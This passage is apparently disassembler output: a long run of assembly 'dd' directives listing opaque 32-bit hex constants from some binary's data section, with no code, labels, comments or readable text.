		dd 0AFC60A24h, 6381E875h, 0C023BE6Ch, 0B0B61181h, 0D0CD9ED1h
		dd 4C1FA193h, 4D4A33CEh, 19009037h, 3D5096Ch, 3ADC0070h
		dd 8F1E16A8h, 4F0041D7h, 9E3B64EBh, 77D6AF75h, 0BF870F89h
		dd 0F560B7E2h, 28CBC7E5h, 0CE18300h, 189B9C12h,	0C009D00Eh
		dd 0C0482064h, 20AA7AFBh, 677C7E1Eh, 0F4861282h, 0B0A2C3E9h
		dd 0D551E7h, 0CAA31F16h, 0EB6A8C88h, 8186373Ch,	4771DA5Ch
		dd 0C6D0DF59h, 9C20C0CBh, 6AF33741h, 2EC8A38h, 7CB12357h
		dd 0AFDCE059h, 0AE8500F7h, 11CCE249h, 4F01BFE7h, 3F20E5FEh
		dd 86E93008h, 682A2086h, 58C1A90Eh, 0AF89D374h,	20984CB0h
		dd 0A860C49Fh, 74570650h, 0B10E675Fh, 601481F5h, 985AE013h
		dd 67AD3D07h, 35700920h, 0C99B6h, 0E8C2A1C1h, 5F51033Ch
		dd 4581301h, 0C30E2490h, 3868BCCCh, 0EF006BDDh,	311AD6AEh
		dd 0EC0A56F4h, 0BB73A793h, 64DA8100h, 1741545h,	0FB7595B9h
		dd 4892681Bh, 771FC304h, 580212BCh, 2054A665h, 0A01E022Fh
		dd 0D00C4AF1h, 3156A004h, 1D9202C2h, 0B6053F37h, 0E6F32BE3h
		dd 4DE066F0h, 18D2EC30h, 88A904C7h, 0ED449EA4h,	1840E938h
		dd 88EA2568h, 21841D10h, 0C508A090h, 44944538h,	22360424h
		dd 0E00CA2BCh, 9C8213A8h, 84A2AF10h, 1A3C0854h,	2C0CA750h
		dd 375124A8h, 0C305484h, 21CE42F4h, 18B395B4h, 5900B822h
		dd 0FB0CE818h, 853C56h,	0C37AF67Fh, 1F2D7367h, 172B18C0h
		dd 1634D7E3h, 0AA4C2ECh, 0B48737h, 50265E1Fh, 0C8014178h
		dd 0C282BA64h, 388020D9h, 0EBCC9A90h, 95504938h, 0ABEC7EC8h
		dd 7429C12Ch, 0FCD9D000h, 16A6B385h, 0C6AA68h, 0C3E60F94h
		dd 8C748BF7h, 86E5831h,	89204340h, 3B41F07Ch, 8E001926h
		dd 7BFC1C86h, 152A0CCEh, 3D1C4C75h, 0F8DEB6C4h,	3B140200h
		dd 0B2744Ah, 4E4FDC8Ch,	0C82EE6A8h, 9BFC9700h, 0CBF8F958h
		dd 0ACC20FAFh, 3160E0Ah, 5FF443Ch, 0F2137CF8h, 0A8029B98h
		dd 937F6A11h, 101C9408h, 0E0D42BEBh, 5586DFh, 71E60699h
		dd 85391E95h, 0A1204C02h, 0BEECCF7Eh, 0C79703C0h, 5C70C2E6h
		dd 0EF9E5E80h, 1F71DB0Dh, 0C0D4292Eh, 0E1FE0045h, 570C517h
		dd 4E010151h, 0DFAB0D1Ah, 0A0E05C36h, 5CA35383h, 71AD1301h
		dd 0C438B807h, 0E200F2D4h, 91329A81h, 0ECE58EEh, 0A662539Ch
		dd 0FE11CB80h, 61002FFBh, 33AA56B5h, 0A3EA483Fh, 0DF44E0BCh
		dd 0B491491Dh, 105F24h,	96EE8480h, 0D0A89CA0h, 2D0028FBh
		dd 2309BFFDh, 2155FD1h,	4E1E80A3h, 5897E642h, 0D6DDE888h
		dd 5A804C87h, 7DB12A3h,	26BD0043h, 0F07C021Ch, 0A748EED0h
		dd 25B10128h, 753FAD92h, 0C31109Ch, 8A405B6Bh, 57B6A302h
		dd 48E2DF82h, 71CB184h,	451906BEh, 0E87B43B5h, 0D4D895DBh
		dd 0A4248B0Ch, 59C27425h, 971D1D19h, 0A0ED104Fh, 385EE3E7h
		dd 0C1670650h, 0D02FAB14h, 0C232D612h, 8CC9CC08h, 3108F1E8h
		dd 8B4B2A01h, 0EFF9E50Fh, 65638050h, 6F40013Eh,	0AB215C10h
		dd 0F0AC4A9Ch, 3E07C158h, 0B901E668h, 1AE8677Fh, 81942204h
		dd 0DB775B1Eh, 0FD14D426h, 15AB441Ch, 84DFDEh, 0ECABFD2Eh
		dd 48F4D12Ah, 0F6B0E8E6h, 42003DEBh, 0E718895Fh, 7AE3209Fh
		dd 9CFE04BDh, 3A9666DAh, 0D1DC6E24h, 0B9DDF405h, 8AF04E00h
		dd 0E3C162E8h, 5574295Ah, 83594584h, 95A18A14h,	0CEA04061h
		dd 0C0015A5h, 43B83E2Ah, 304C76h, 9C315438h, 0DA32815Fh
		dd 7BF6F81Fh, 0A46D01B8h, 4C780E15h, 0C031819Ch, 0ADC1AA20h
		dd 0D009057Dh, 8843BB7Fh, 4808D0C5h, 0B1C6478Bh, 0FC05E86Ah
		dd 0D509759Bh, 15D31A4Bh, 36426264h, 0C54C086Ch, 4A3801DCh
		dd 9FB52F54h, 7935860h,	120E2CC9h, 816540DAh, 0C91F816h
		dd 6A080C5Ch, 58D8400Eh, 4F62924h, 38B9E440h, 0B81101DCh
		dd 5C0150E3h, 0B0FC4A99h, 20C0E3Fh, 8C652B8Eh, 0F4934E2Ch
		dd 73D97F0h, 42945814h,	0BA0CE080h, 96652C2Dh, 0AF2CF428h
		dd 20D2E821h, 2B820590h, 0BC3F26BBh, 0BEB8774h,	70485BAh
		dd 84A86008h, 1FE523B3h, 0A0E0D230h, 501C1A00h,	0ABD5CB21h
		dd 91CC030Ah, 3C44B8A8h, 4C55A7C0h, 65C620F9h, 80F1DE3Eh
		dd 5D464753h, 0F2E0D023h, 74C076Ah, 77C45A5Ch, 0F270A372h
		dd 380050C3h, 133F7345h, 426539h, 3C8393F5h, 482E7E0Dh
		dd 0F564618h, 3AF2D8Eh,	8138CD5Ch, 800CCE6Ch, 4040BB96h
		dd 2C00037h, 4C12E8B8h,	940E6352h, 600BA87Eh, 8786D982h
		dd 0C3BB3677h, 2F3CA8B9h, 0A0BCB1ACh, 1D035768h, 27FF480Fh
		dd 9D966013h, 30B0E83Ch, 563831A7h, 0C0C0C5E4h,	58432AFCh
		dd 7CDF336Bh, 9038190h,	0E8DA0E3Ch, 0E4E11B32h,	78E10897h
		dd 7A1AF45Fh, 0C67E0C00h, 0E08839E3h, 5D4D0330h, 2E8EC454h
		dd 0C5C06900h, 4E35D348h, 807F0096h, 44CDAE2Fh,	0F600DBE7h
		dd 3CE9882Eh, 1CDFB6E1h, 80A4175Eh, 0AC2848A9h,	0DE305C56h
		dd 0B51C78B1h, 30E60E32h, 198091F7h, 47E88E44h,	216F2803h
		dd 0B0AB1C0Ch, 0F4DE7Ah, 7626A143h, 0EEADA3B5h,	0F5EE200h
		dd 0AA9A9E0Eh, 16BF061h, 556C3EE3h, 0CC4389C0h,	9400EF3Bh
		dd 4E2D121Dh, 2AA788h, 0DB095FF2h, 0A99D7EFCh, 843FF800h
		dd 0C94A8CC8h, 50680008h, 29B281F2h, 65004DA2h,	5EF69BE5h
		dd 797E1153h, 6D4700E0h, 0D914B1B8h, 2149DFCh, 191C012h
		dd 1B67C8E7h, 5BE80D60h, 35AA008Eh, 0FDD06DC2h,	7300AF7Eh
		dd 0E75F4E0Fh, 0CBDB19h, 25A8D770h, 4FE1ECFFh, 0E2915E00h
		dd 2FF33F43h, 6E070030h, 534E5A74h, 7A00FE9Eh, 0E12EBBEBh
		dd 0D36071h, 929A2962h,	7C90B226h, 8AE6AB13h, 0A33D9900h
		dd 0C50AECh, 0B91428D8h, 3207358Ch, 3DD4F43Ch, 0C92B8FDFh
		dd 61C34F41h, 84A61DD7h, 0E9A31CE0h, 7E3D54FCh,	0F12E1F73h
		dd 338B03B1h, 0D3A85686h, 0D6075A17h, 54D9FEBAh, 80BB2320h
		dd 7B3E00B1h, 569F8697h, 71009527h, 0EE93008h, 0E2B6C94Dh
		dd 7C930084h, 3A68CAB3h, 7B791662h, 1DC54003h, 80CBB542h
		dd 488C3841h, 7F14AAh, 0E3C3BEF6h, 0EFBBB0A0h, 1C6B4C09h
		dd 9B2800DEh, 193DB9h, 6FADD7BEh, 2925C55Ch, 0E5A56C00h
		dd 0E7058BF2h, 2DCC0096h, 20A0AEF1h, 4A1F06DAh,	0F8C1ED31h
		dd 55668AE1h, 0E39C87D8h, 0B320E4h, 52F25B03h, 3F3472D5h
		dd 0E8E80A73h, 0C4F92401h, 0C7D6DBDAh, 208CCCh,	29F05FACh
		dd 77EA1C51h, 27328000h, 0A7D304EEh, 0FAAD0049h, 0E9AA4705h
		dd 9700AF89h, 0C0AEE688h, 790489Dh, 7FC2862Ah, 3DA8F026h
		dd 110018E3h, 0D350AF45h, 1C1430BEh, 40B4E506h,	0C1347D65h
		dd 0CB03D10Fh, 0A45688ADh, 9A5BD02Bh, 0D4CC006Dh, 13323A63h
		dd 0CA00906Eh, 226BBAA1h, 31D354h, 0DCC273E4h, 103FA9DAh
		dd 8309657Ch, 46967Fh, 0F2BD01F0h, 524D3D4Bh, 2D5E3301h
		dd 0ECAA434Fh, 75025C82h, 0CF5D590Bh, 8D7E606Ch, 0ABC700C8h
		dd 1E03ECDAh, 0C070A033h, 2D0BE900h, 0C4847C80h, 86AE005Dh
		dd 3162C72Bh, 3F035950h, 207AD751h, 8A54C04Dh, 668200ECh
		dd 0FB9ACF43h, 120FD428h, 60FDE4E7h, 57DBD594h,	6BC005Dh
		dd 4EDC2220h, 9300A3B8h, 3E09C538h, 9AF849h, 78116816h
		dd 0DF74F6CBh, 916C8506h
		dd 480535h, 0BCB1D40Ah,	0CE9C63DBh, 4499F600h, 68775F4Dh
		dd 0CB39127Ch, 0A1D003F2h, 2BD80D8Fh, 727E1D26h, 0FA293107h
		dd 0E3B010EFh, 0FE201C66h, 0D7F90057h, 87D406DBh, 311F4EDAh
		dd 0B507DD35h, 0D30FD3D2h, 0FE681A00h, 0EEED283Ch, 10410085h
		dd 0CCD2C5AEh, 4E008E33h, 3EC83697h, 2253039h, 0F669D13Ah
		dd 344157DAh, 0F081C48Eh, 0D8459F02h, 408C825Dh, 89122Ch
		dd 1E4A788Dh, 2EF1CE13h, 2F5B730Fh, 5CC1A0F0h, 0F4921BFh
		dd 0E690ACAAh, 58BB1DC0h, 2400F2AEh, 0CBDA790Ah, 8D4750h
		dd 0F6D84443h, 8553695Bh, 8070D53Bh, 66D93139h,	51E06Fh
		dd 614D4A0Ah, 75676936h, 0BA90D300h, 0CD242363h, 0E7BB003Ch
		dd 6911A91Fh, 4003B52h,	0E093635h, 1FA32FFh, 0A6E287DBh
		dd 0E039A1BAh, 4900B27Bh, 45420B5Ah, 0D18D22h, 0EFFFBB1Ch
		dd 7B271E20h, 0C50081E0h, 8CF9C0EEh, 9D2AB3h, 52ED387Dh
		dd 1E5635ADh, 0C1596600h, 0DA3E92B0h, 94F90EB7h, 77025Bh
		dd 6B95C054h, 0D1005153h, 12074F10h, 1FD4220h, 0DB4EC26Dh
		dd 0FAF4F97Bh, 0A08CC0DFh, 75AE0038h, 8B05F582h, 0CA008C25h
		dd 6118BFA7h, 3B6BDB1h,	0ACB28EC2h, 4EE0B482h, 2B0ECE10h
		dd 7D255FB7h, 0BD2F12C0h, 33A75A1h, 0CEF0D745h,	86C888D8h
		dd 948E24Bh, 42FF0005h,	0CA63C573h, 386A009Ah, 975943E7h
		dd 0F9007E18h, 0C0B39D0h, 9048B3F4h, 0C92500E1h, 63DA3FEh
		dd 85006957h, 96AAB451h, 1297351Ah, 0BE0912C6h,	53EDA500h
		dd 3E6DAC5h, 0E29A919Eh, 9B902535h, 0D0031B57h,	0B5CC6FD6h
		dd 0FE65A187h, 3C784C4h, 3B6A1224h, 0AA880AE0h,	0E735970h
		dd 91CB6D00h, 15374BD2h, 5EDD0181h, 8042A77Eh, 6623EC65h
		dd 96C4EC00h, 0BD1FB2A8h, 160900B7h, 5E0D4358h,	0D400975Ah
		dd 4F07B8B0h, 9D747Eh, 57678099h, 0FCF2755h, 4C514500h
		dd 5A5392D8h, 483B3EC9h, 0F1BBE381h, 70F40BECh,	5100607Ah
		dd 4DEBE70h, 0D32512h, 9388485Bh, 10545331h, 1D78700h
		dd 0A0EA0E65h, 0B0ED501Ah, 0A198074Ch, 10C3D3F1h, 17025A6Dh
		dd 97F81600h, 6AFDE37h,	8CD02A48h, 0F85861C4h, 70BCF7C3h
		dd 0F3002489h, 0C1079625h, 9E94F4h, 0E35357F1h,	85B8E6Ah
		dd 3100F58h, 44B3A4C9h,	0C856E084h, 177C3F98h, 0EB5B97h
		dd 3E6079E6h, 0E0FCA28Ch, 7B7A3Bh, 0F42275CBh, 9C40ED2h
		dd 0FC6A9D6Fh, 0B0700E60h, 73E12958h, 8D371E0Eh, 80AE0B7h
		dd 2A4C723h, 8227BBCAh,	6DE0C0CEh, 0CF0F99D9h, 0C7EB7EEFh
		dd 49F005CCh, 38EDA7h, 0FA3DB517h, 0EE5220D6h, 68621500h
		dd 678A6195h, 0BE7700BFh, 1DE53E1h, 0C57C9964h,	8778E500h
		dd 17084902h, 0D93C00F1h, 43505F70h, 2500BB05h,	510A1637h
		dd 7BE98CFh, 9FEBF697h,	91C1307Fh, 820A1C9Bh, 0C4ECFC7Ch
		dd 0E2EA7600h, 768F71Eh, 0AA61B956h, 930C1C9h, 2F3FE06Eh
		dd 783F28DEh, 0DEAB7828h, 0B35F8D00h, 0E598A7AEh, 0E87D03ADh
		dd 0F748F54Fh, 4207A598h, 25709D0Fh, 887C80F2h,	7B5F35Eh
		dd 3F1F2BE9h, 0EF407E4Bh, 0E1AE7DDDh, 602E8B30h, 0C16F36F6h
		dd 0F1047F70h, 0B8BC99h, 89748FF7h, 0E4737964h,	0C7587425h
		dd 0F0C91B11h, 5B6EB780h, 0F150976Ch, 9BB600B3h, 0F6E06703h
		dd 0A8028F3Dh, 0D7D58680h, 0B825E032h, 8D623F98h, 1C3BAD86h
		dd 0E5E971A5h, 9DB5FC4Bh, 9212AA19h, 45F9A19h, 6D2CF7E0h
		dd 3200D97Eh, 53FDD6DFh, 0A509CFFh, 4FBE3974h, 427341A0h
		dd 9FE700A8h, 0E8ED3A18h, 4B3E993Eh, 0F6853457h, 74C2BECh
		dd 807CCF3Ch, 3DA6AC0h,	0B4B5037Ah, 41CD1C98h, 0DB045B80h
		dd 3E3074F8h, 0FF8119E1h, 0B686885Ah, 0C1518A1h, 3D24A8A6h
		dd 9D118401h, 4921B833h, 0C2F578Ah, 77242515h, 110C3850h
		dd 391F2186h, 46C24D10h, 6124BBB6h, 18821035h, 0E1951921h
		dd 24352B3Ch, 0C4A8CE5h, 6B886C71h, 422D453Eh, 0B2AF8A18h
		dd 0C4A7925h, 1D65847Fh, 9C0A0C4Ah, 0C4A2965h, 8566C055h
		dd 11257E19h, 21CB4D5Ah, 0E2DE8A4Eh, 580A113Ch,	7F7C048Dh
		dd 0E4D70347h, 31491160h, 99FC0318h, 9506FAAh, 0A08897E0h
		dd 75A63D00h, 6E58FE52h, 4A8700CAh, 74B07719h, 2492BEEAh
		dd 0FBF6550Ch, 988DD142h, 12EC889Eh, 31E920ACh,	8BD70700h
		dd 1CC3BFCFh, 0AC101ABh, 1E8E406Eh, 2F521002h, 187C12B5h
		dd 6A5047B2h, 886ED630h, 472C4500h, 1CAA980Ch, 128471B9h
		dd 0E5303h, 189D12F0h, 1CA5ECFEh, 523B8240h, 8DEF0CF7h
		dd 6BB1BE46h, 58124800h, 35B95F5Bh, 94195070h, 0D233174Ah
		dd 306406E2h, 0DF0F5967h, 2006F87Bh, 0A957FA0h,	0D22600C4h
		dd 91D5CA42h, 0D9DF461Eh, 352D093Ch, 0DCDCA0C8h, 154274BDh
		dd 1486A5B1h, 0D13B0579h, 406AAFE2h, 7DC35034h,	0B939EB82h
		dd 5B3B7CB5h, 57598F3Ch, 48776186h, 0F8800946h,	8FD03165h
		dd 0E0F641AFh, 7EDD638h, 0F430FEB8h, 0E3E636A7h, 9249B8h
		dd 0B47AB20Ch, 3F008899h, 3AEDD2E1h, 71452895h,	0E0D560DFh
		dd 17FDBCEBh, 43D750Fh,	90C9032Eh, 0D350E185h, 3AB76841h
		dd 0F08A8090h, 14B3BD31h, 0C80DFC23h, 0A994650Bh, 3956C03h
		dd 702179C8h, 321F5005h, 0C0275FECh, 0E78330D7h, 42101717h
		dd 0CEF44153h, 80A625EAh, 0D119BAA0h, 0E934AD2Dh, 864A9F1h
		dd 64FB166Ch, 0F93002F3h, 1303E24Eh, 6CD90578h,	87CB0382h
		dd 1EDBC09Ch, 0D33A3E7Bh, 87317C0Fh, 0C11318B7h, 0CD84B8D2h
		dd 22E209CEh, 58279B49h, 9F8880D5h, 0EC3F6017h,	1862B047h
		dd 2621C3CFh, 44F0287Ch, 0DB7C8C86h, 4ABAD316h,	847A6843h
		dd 0DFE0A0B1h, 0A0AA4933h, 2A35A21Dh, 5B4A1280h, 804814CFh
		dd 81B6EC03h, 0F11E7113h, 407078BAh, 14B2D07Bh,	0A0494228h
		dd 39A0B42Ch, 0D726CC80h, 0EAD5C364h, 81BB591Fh, 0D676A700h
		dd 0A07F5BD2h, 3A56EB80h, 0D4182248h, 2F88E06Ah, 975DA2E0h
		dd 194C003Ch, 82397915h, 0C3D8FC86h, 0D1534A29h, 83EA026h
		dd 70C8C310h, 0B33D7480h, 1CF221Bh, 1A75A458h, 64796743h
		dd 0AC92B894h, 8653DB39h, 0D1BEC703h, 4AF130E8h, 0D4C5A770h
		dd 0B1468C15h, 3DEBC130h, 0D61C1A8Eh, 2E36BF40h, 4234E7BBh
		dd 4848E823h, 8A24DA1Ch, 8004BC62h, 4893879Fh, 6154A290h
		dd 20246C38h, 0EEAE411h, 0F6B04855h, 7B301D21h,	0BDC236Bh
		dd 9718FEh, 0C70BA09Ch,	78EF05A3h, 90ABEB21h, 26F78DC0h
		dd 90C828A0h, 0E883C501h, 0E7D1BFA3h, 6692A042h, 0D7120010h
		dd 0EADF49A1h, 0CC1DBCDCh, 48C009D5h, 0D1B4F852h, 8C410060h
		dd 0ECF958D6h, 6309317Ch, 9C850A27h, 0DB3411A8h, 0A8411217h
		dd 58F45008h, 9F1FAABDh, 58260BDAh, 0EFF980C0h,	0F63A3E28h
		dd 24308060h, 9901E6B5h, 0FDF8BE50h, 4C249814h,	3E3107D8h
		dd 8543B27Bh, 7E448070h, 0BA5CC9AEh, 9F484D58h,	30980BD8h
		dd 1ABE057Ah, 413247C1h, 2006C3ECh, 27308664h, 22B1C9D2h
		dd 52061085h, 6FB7E331h, 0C0BFCE8h, 5F9ED31Ch, 204CB310h
		dd 2D09040h, 0A393F80Ch, 0E7086894h, 1864F1EDh,	5919FC3Fh
		dd 0BD00F4E2h, 90C16F3Dh, 9550CC48h, 94451518h,	51EC6888h
		dd 605D5701h, 29B24BBAh, 7620E878h, 56BE77Ah, 0FD4C7390h
		dd 17D04099h, 28F03909h, 0DD0A9C1Fh, 0A0C5CD49h, 0A7B4423Ch
		dd 91FF31CBh, 60A97C11h, 8A4A0FEh, 84488F46h, 0F0D424h
		dd 947A5EC2h, 0DCE85483h, 0F7B0700Ah, 4B80BC6Eh, 0CE56E052h
		dd 31720EBDh, 1E40ADC9h
		dd 7EDDA8F5h, 8354633Ch, 0B073D86Dh, 28A7C436h,	7D5D4500h
		dd 0B137F699h, 96002678h, 0C16D3EB4h, 0B5708h, 0DD85CFD6h
		dd 0D147E7A8h, 0C6CEAE18h, 9F8E28h, 403EB642h, 32759162h
		dd 0E63397Fh, 0A04D0F38h, 0E01BD58h, 673B5C16h,	0BB734580h
		dd 0AF18EE48h, 18492505h, 1E2F01C4h, 63A6B703h,	0F461F0DFh
		dd 4C3FBC7Eh, 90C29D6Ch, 53F62680h, 7E04D685h, 0C8061F73h
		dd 3805180Ch, 1B306695h, 0E3452897h, 22AA03DFh,	5A7062B0h
		dd 9EC4510Eh, 69448067h, 37DBE21Bh, 0C011025Eh,	0E4B46258h
		dd 895DBD05h, 30230F45h, 54B1E676h, 7148C5h, 0DB4DF086h
		dd 0F4C76544h, 0B4388B00h, 8F76B1A6h, 779E33CFh, 0C900639h
		dd 52074C92h, 623485A4h, 5473FB1h, 12F91F0h, 0FC8CF613h
		dd 50690F6Ch, 0BE27D790h, 7FECE200h, 95BFC137h,	88060744h
		dd 0B0295B83h, 0B1C8C4CAh, 30E1A1C1h, 2080D00Ch, 0FD7D74E5h
		dd 8D50BEABh, 0F80A4A8Ch, 94A67613h, 0BC049694h, 0C0673075h
		dd 6C235A48h, 0C7B8AE00h, 761A1EA6h, 7F2E00D3h,	2D1D4519h
		dd 980028AFh, 0F7C4A2CAh, 998725h, 0E0F875D5h, 0B28BD772h
		dd 0C84DFD00h, 59097D93h, 0B0F7015Bh, 9E0AE7ADh, 0FBE140BCh
		dd 9305C97Eh, 0AA4BF07Fh, 323D13C1h, 25A7CCCh, 0D3E7DC1Eh
		dd 860B2A7h, 0C0016346h, 0BB180CF4h, 45E01EDFh,	9B9E00C5h
		dd 2C0176B2h, 0CF00E011h, 0AAB5031Ah, 0E2BE2135h, 7AE200C5h
		dd 9AE133FBh, 0ACF662ABh, 0C111D300h, 0D66FC7C8h, 6C1B0414h
		dd 0C29D9057h, 1AE0354Ch, 23007A3Ch, 0FE3CF91h,	0C3D459h
		dd 2147A356h, 0B14169D6h, 312E61E4h, 96034D03h,	0C83B9394h
		dd 7FC66D6Eh, 5D4B00B3h, 0E7428FC1h, 517BF10Eh,	6F614617h
		dd 5AF5A002h, 3AAA40C8h, 52AE00E4h, 4735E0EBh, 4C00EA27h
		dd 0CA0E63Eh, 0D9433Ch,	0A1301138h, 0C16CDAC3h,	0D4007A73h
		dd 0ABB04258h, 1C5C486h, 0E45230AEh, 801B3421h,	8F110139h
		dd 0FAA16BAh, 0A6E206FFh, 11C55BC7h, 0F8B5CE73h, 4B00DD53h
		dd 55F15D27h, 0D057C2h,	3D62D498h, 0C7FF757Eh, 3B484B03h
		dd 0A88F77BAh, 216871h,	15BD404Eh, 8A8D195Eh, 5BCBFC00h
		dd 3026F39Fh, 0AD853A3Ah, 0FE327D00h, 0E798A759h, 82A91A00h
		dd 0A00621F3h, 6AF1011Fh, 0ADC68E9h, 0A55BF481h, 0DFC72818h
		dd 0FAFA35C0h, 527F01D0h, 67102B71h, 667DCCD9h,	830098E4h
		dd 0B69C13EEh, 3EA198Fh, 590B182Bh, 0CAE8526Dh,	2A00602Fh
		dd 853E826Bh, 0EA323090h, 0FCDA1E6Ch, 0A0C5C3BEh, 47A866F5h
		dd 7001B3E8h, 125DF8E0h, 99D8C83Dh, 8ED0006Eh, 813CF2C1h
		dd 0CE00EA5Ah, 56D4F5D9h, 31F1E6h, 85C2122h, 2B2E4841h
		dd 0B436DC00h, 0C6C7DBCEh, 1E0105ADh, 0C0F37225h, 3519912Eh
		dd 0ECA893Bh, 0C1E4A7DCh, 15D334F6h, 600DF03Bh,	0D5EB6800h
		dd 6E45B833h, 10676F7Ah, 1080C8E7h, 5C3CC49Bh, 2711FCA0h
		dd 3A173007h, 45D08FB3h, 0E41BE8CAh, 0B1D63AF4h, 0EA2B7280h
		dd 42A47EE0h, 0EFD93Ah,	0A317AE7Ch, 4304F7h, 23A78B22h
		dd 0B381A234h, 0DC24900h, 0FB48215Fh, 0A4CA00C6h, 0E105F38Ah
		dd 0DF0E5287h, 0F09490h, 984F2ECh, 58173888h, 70F392h
		dd 3CA30D0Ch, 0B000A53Ah, 9543F772h, 3B49F8A4h,	51002D50h
		dd 9121A77h, 0FB006361h, 0EC6E96BFh, 73C0B14h, 95602C21h
		dd 2513A039h, 0E10070DFh, 483722E6h, 0EC17D38Dh, 0FE1B0024h
		dd 0A90B7243h, 0F200C626h, 0C7AFB6FAh, 8771BAh,	4BFC59C2h
		dd 0FF1D5F41h, 56DCAA00h, 0CFA08A13h, 169F006Ah, 0DD1E8370h
		dd 4F07D4ABh, 3B265AA5h, 7CCE5330h, 0C8B6A0F6h,	0A665009Eh
		dd 6FA3E4C3h, 33BC680h,	0E7A8504Eh, 0A020A500h,	9577BB7Bh
		dd 77F57h, 7DA27C74h, 39D818C9h, 0F8513F00h, 0A6A9E6DCh
		dd 34B700C8h, 0D9C9BFC3h, 4D00D8A7h, 78A04FE2h,	24895B58h
		dd 80F18Bh, 69FD6D14h, 36001D87h, 0BF011BE4h, 3A95C61Fh
		dd 4D9E31FAh, 0EF68C0E7h, 41054EA0h, 720097F6h,	1A11D9ABh
		dd 0FD855Eh, 245CC456h,	15D546DDh, 770630FFh, 55813300h
		dd 9BB469BAh, 10903Bh, 25ACAE58h, 0E0083151h, 97006BF8h
		dd 0F883656Ch, 0E0FD073Bh, 300F006Dh, 852E33B3h, 0E300DA8Bh
		dd 0EB3A7FAAh, 7D4161Bh, 5E14BDE0h, 6FF7505Ah, 0B3007E0Bh
		dd 0E9DC3FA6h, 7D8BBFh,	567A92CCh, 0F597906Dh, 70FFEA00h
		dd 7131265Ch, 355B3981h, 0EE22B20Fh, 0ED33AC80h, 0E5004240h
		dd 0C20DB84Bh, 1BA3F01Ah, 10BD6039h, 0AC717A00h, 7EF5D1CEh
		dd 95783FEFh, 8EE63B00h, 74BEF8A1h, 2518D61Fh, 0E987F280h
		dd 1EBB15Eh, 0C4656083h, 0DC5975E5h, 9900508Dh,	5D71E1E7h
		dd 9A72A36h, 0C6157D1h,	16580100h, 25009CC1h, 598BF2A9h
		dd 780E4F45h, 976D0067h, 0CCB9E34Ah, 0CEE4AB8Ah, 3CE70B2Ch
		dd 1373002h, 0B8CC6163h, 169420h, 8759D893h, 2AE4ECA5h
		dd 0AAF06C71h, 24D94807h, 89605411h, 357FBA0h, 3DDF28B2h
		dd 1F883595h, 77EF89Ah,	0C45D9726h, 9283D500h, 1EBF754h
		dd 0E2D3822Bh, 0F4F1B2A5h, 9B3FA262h, 3394244Eh, 30C07300h
		dd 7BCFFC33h, 0EDE10051h, 0EAE96E8Eh, 6500C11Ch, 58826FC3h
		dd 0FD2219h, 7D4B6A30h,	23AE5421h, 500C2B06h, 1DA3240h
		dd 64BBE790h, 0C44E04A5h, 0FE004527h, 0F398A413h, 9B1667h
		dd 1D909519h, 0DA5EA217h, 0FCA8240Ch, 21B54CDh,	0FD82F6EFh
		dd 60C84D23h, 491DB607h, 5B833496h, 8040ACC3h, 0A1DED6CFh
		dd 5F603FDCh, 0BE2807B7h, 0E0C1E88Bh, 1CF4D57Bh, 56029A00h
		dd 921342EAh, 73760E25h, 59A28B30h, 8868C5CDh, 0C09F0F45h
		dd 673608EEh, 402B0853h, 0F25CAAD8h, 0C0CC89C0h, 3A88E06Eh
		dd 0C776725h, 2712CB21h, 0F800E220h, 0D83BC20h,	3E068Bh
		dd 80C1B0C8h, 0B7B9710Fh, 393AE2E6h, 0AB548041h, 12C6D3D6h
		dd 4F5201DAh, 7D654580h, 2EF4408h, 60754C4Ch, 0B7DA0468h
		dd 0C1914706h, 3C608D1Ah, 5A958B19h, 6904649Fh,	7D73C2h
		dd 1FCF35B1h, 2885309Bh, 48F23C20h, 0DFC9B40Eh,	0C411A0DBh
		dd 0B3D02BBh, 0AE0468F5h, 80351287h, 1B8D82FBh,	81BC2900h
		dd 6F1EE33Ah, 7C21F87Dh, 2040051h, 72EB3E8Ch, 0F4005385h
		dd 0C223A03Ah, 50934Ch,	349C557Bh, 1602AECBh, 4E2BB200h
		dd 3957FC4Fh, 0D594001Fh, 31FD0121h, 7F0542C7h,	820EC479h
		dd 6D1016C7h, 8A40AAh, 0CE7269C3h, 134DC142h, 0BCB0A00h
		dd 0B191D289h, 4E0500E2h, 9A553122h, 6C2EDDFDh,	30035928h
		dd 0B8F8C606h, 71CA17D1h, 0E897162h, 5DC9B2EAh,	4E349F80h
		dd 27FE1277h, 45FCCF00h, 85C272B5h, 3DF8A151h, 0C432DBD9h
		dd 40FA041h, 241C2B81h,	89CBF0F0h, 0C2A86A50h, 0BB36BF01h
		dd 0A3AEC7D7h, 52BDFECh, 3AB7D8CAh, 29ED18CBh, 9883DE3h
		dd 0D92E88A5h, 8963E488h, 11284067h, 0A2816B91h, 5644AC08h
		dd 437F88EBh, 82AAB81Dh, 4422B000h, 310BE69h, 0BCD709Eh
		dd 2000718Fh, 0F7A1D93Fh, 3FF5318Bh, 7F09C3h, 8C085D51h
		dd 0A00D0FF3h, 54987912h, 77F907EAh, 0D37A6549h, 6DA83684h
		dd 4D00BFA6h, 33677101h, 0E0B8ACA7h, 35180095h,	1F409C44h
		dd 661E131Dh, 580009D4h, 0BAD68896h, 85C30354h,	0DB71458Dh
		dd 0CA2C1498h, 6F246100h, 4AECD656h, 0C11F1E22h, 140F8087h
		dd 70CBF4F1h, 2D86A000h, 0F56EC63Dh, 575B1503h,	0E201E49Ah
		dd 0B9160F21h, 0E89C6027h, 8777F7E8h, 74CEED00h, 975EFAFBh
		dd 0E679D9h, 5A677752h
		dd 88C74CD2h, 1600A476h, 602BFC0Dh, 2658ADB6h, 0E8509E0h
		dd 0BA60BCF2h, 324E06F3h, 3B01477Dh, 0F7A4666Ah, 0C24E937h
		dd 508510ADh, 92C51C27h, 0C65ADD80h, 0C080B3h, 0A7F1BB48h
		dd 0A53D2078h, 0D079050Ah, 230B901Bh, 0B0B007A8h, 97C7080h
		dd 0ACF35846h, 0D2AE7A0Eh, 37A38F40h, 7301E0F8h, 3B672A7Eh
		dd 43E4781Fh, 983262C4h, 5048187Ch, 965C1CA6h, 0F3B5009Eh
		dd 0C5989F6Dh, 0B40E00EDh, 0B3CC0AC1h, 19003C61h, 97515B96h
		dd 7DCC076h, 4B321F7Ah,	0F048EDF4h, 3F0003FEh, 41A16074h
		dd 0C58F2Fh, 6A5A6D65h,	0CEBD872h, 0F914B25h, 0D9AE3DCh
		dd 1C67F197h, 0E1493F4h, 0EBE2CF94h, 0C5D52880h, 0BD2C5977h
		dd 43402840h, 113B0F7h,	0AC52FB69h, 0F87A7370h,	3500D44Eh
